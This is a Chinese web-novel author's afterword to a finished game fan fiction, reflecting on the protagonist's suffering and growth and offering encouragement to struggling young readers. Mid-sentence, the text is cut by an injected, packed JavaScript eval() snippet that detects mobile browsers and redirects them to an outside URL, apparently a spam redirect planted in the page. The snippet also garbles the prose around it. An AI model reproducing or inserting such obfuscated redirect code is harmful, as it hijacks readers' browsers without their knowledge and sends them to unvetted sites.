正文完结了,照常说点垃圾话。以前都是在作话写,这次的有点太多了,单独开一章吧。 有时候自己会重头看一遍自己写的文,自恋一下写的还成不糟糕,然后就会发现我的主角好像都惨惨的,总在被虐。这种虐与性别无关,无关男女,都是因为沉重的爱意。难道写出这东西的我不信任爱,下意识觉得爱会带来伤害?或者说我就是喜欢虐主角让后让人怜惜他救赎他?那也不像啊。我左想右想也想不明白。 后来我发现其实我没有虐主角的爱好,我只是喜欢看他在爱中汲取力量,在痛苦中挣扎,锤炼自己,然后强大。从头到尾真正的核心在于蜕变后强大(强了哪方面你先别管[狗头]),我想要主角可以面对磨难稳住阵脚,咬着牙死撑过来。痛苦不是勋章,也不需要歌颂苦难,只是有些东西不是顺风顺水的人可以体会并领悟的,如果有,就当我见识浅薄不要喷我。痛和苦是主角人生经历的一部分,追更到本章的你再回头看开篇那几章,你也说不出前后两个静原是同一个人这句话吧?就像大家现在下意识把[卡吕普迪斯]和静原区别看待一样,其中固然有我刻意描写的因素在,但因为人生经历不同,大家也不会把他们看做一体。 苦难这种东西,我个人(重音)认为最高级的是命运悲剧。就是事情的发展并不由自己做主,对抗命运的过程就是在践行命运的道路,直至最后避无可避。以前学外国文学看到命运悲剧题材都会虎躯一震,没想到我自己也开始尝试写。哎呀真香(在往自己脸上贴金)。 那按理说这本文的原定结尾是悲剧才对,可是刚开文那会这个念头一出,半夜躺在床上翻来覆去睡不着,爬起来把大纲改了。总觉得够惨了,我只是想要主角破茧成蝶又不是真的想让他跟谁比惨。万一用力过猛,结尾就会一发不可收拾圆不回来,我会心梗的(就像隔壁的兹梅伊一样,那本文的番外我至今没有写完,跟崩了也没什么区别)。算了还是搞点弱智小东西吧…… 再说说角色设定。静原本来是女孩子嘛,她的心很软,却也坚韧。就像蒲草一样。疾风骤雨噼里啪啦一顿下来,你说她受没受伤?肯定受了,但是她的根扎的很牢,她不会真的就这样被压垮。因为灵魂的底色是爱,大家都很爱静原,枫丹这样的大家庭固然有龌龊,但不改每个人都曾真心的对待过他。所以静原有勇气对自己下狠手,硬生生叫他摆脱了负面buff奔向新生活(现在是什么扭曲样你先别管)。 与之形成鲜明反面教材的是卡帕,就那个人鱼切片。他是不在浓厚爱意里长大的静原。北风精灵西琳鸟对他的不是爱,充其量是怜惜中掺杂一点对可怜虫的关爱。卡帕会下意识想要牢牢抓住这一点爱,结果天不遂人愿——北风精灵死翘翘了。卡帕感受得到其他人不爱他(只有海爱他,但是海没法给身为情感动物的他想要的),卡帕发现自己诞生的使命后自暴自弃,觉得自己能做点贡献也可以。所以我说静原这个家伙的心很软,换作其他人被这样搞,哪怕明知自己是切片也得闹得不好收场。反正死后一切于我无关,管他洪水滔天。 因为心软,所以恨意里都掺杂着怜惜。[卡吕普迪斯]他恨自己没有保护好亲友,可是看着静原的样子,又会怜悯他未来的惨痛(写的很爽,谢谢)。言语挑衅,情感漠视,然后发现这样没意思,不愿再管。大概是心理的自我防御吧。 我为什么要写这种类型的文呢:无脑甜宠固然很好,开局就凌驾一切也十分不错,但我比较喜欢挣扎的这个过程(成功了爽爽的,不成功也酸酸的)(其实只有我自己爽了哈)。只是目前很少看到有人写,只能自己动笔自割腿肉[狗头]所以有些看了我其他文的朋友能发现我好几本文都是温馨开局然后刀子转场,但我觉得是he。刀子手法也变得高级了一点(真的吗),嘻嘻 为什么要选择同人这个题材呢。因为刀别人家的孩子我会收手。 这个原因很现实哈。米家角色对我这种破写小说的来讲,相当于别人家的孩子。我很喜欢他们每一个人,我希望他们好好生活。我的孩子在那样温暖的世界长大,也会拥有和他们一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930125|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强大的生命力和美好的品质吧。发刀子也会考虑这方面因素,所以会很克制。自己原创的小说大纲死的死死的死死的死,我都不敢放简介出来(微笑.jpg) 老师以前说:看书,不管是小说还是名著,本质上都是在阅读过程中获取价值(情绪价值也是价值,打发时间也是价值,更别提那种真的很有料的小说,我看完只会感叹一句作者牛逼我八辈子也写不出来)。老师说:看东西总要有点收获吧,你看这种小说有啥用(拍着我的电子食粮恨铁不成钢)。答曰:爽了就行(容易挨打,轻易不要模仿)。 言归正传,我还是比较希望部分处于挣扎过程中的,年纪比较小的读者可以知道一个道理:这世上没有什么过不去的坎。不要想着死了一了百了,因为当你真的想用死来避开某种东西,某个环境,不如想想你都有勇气考虑死亡,为什么不用同样的勇气去跨过这道坎呢?都有死的勇气,为什么没有跨过去的勇气?就算是恨,也要利用这种恨意为自己博取最大的利益。而且不必执着于纠缠,逃离环境也是勇气的一种。划重点,杠不过,觉得自己扛不过去就跑。换个新环境开启新生活,不要怕在新环境重蹈覆辙。 虽然现在很多时候遇到事了我们都会想“死了算了”“我怎么不去死啊”,但很多人其实还是会咬着牙扛过去, 好好吃饭,好好睡觉,做自己喜欢的事,让自己的心在自己的爱里长大。只有你自己才知道你最想要什么。与其期待等待某个人来爱,不如自己主动寻找一个可以让自己好起来的机会。当机会来临的时候,抓住它。 静原抓住了这个机会,用他自己的方式熬过了前期最艰难的时光。我希望你也可以。 很多人会说这是小说又不是现实。可现实往往和小说没什么区别(玄幻修真题材那个另说哈),只要有人的社会,戏里戏外道理都是相同的。戏文的主角迈向了新生活,你也会成为崭新的自己。 好了,大锅的鸡汤熬完了。下本文尝试一下新题材,会有小彩蛋嘻嘻嘻。(溜了溜了)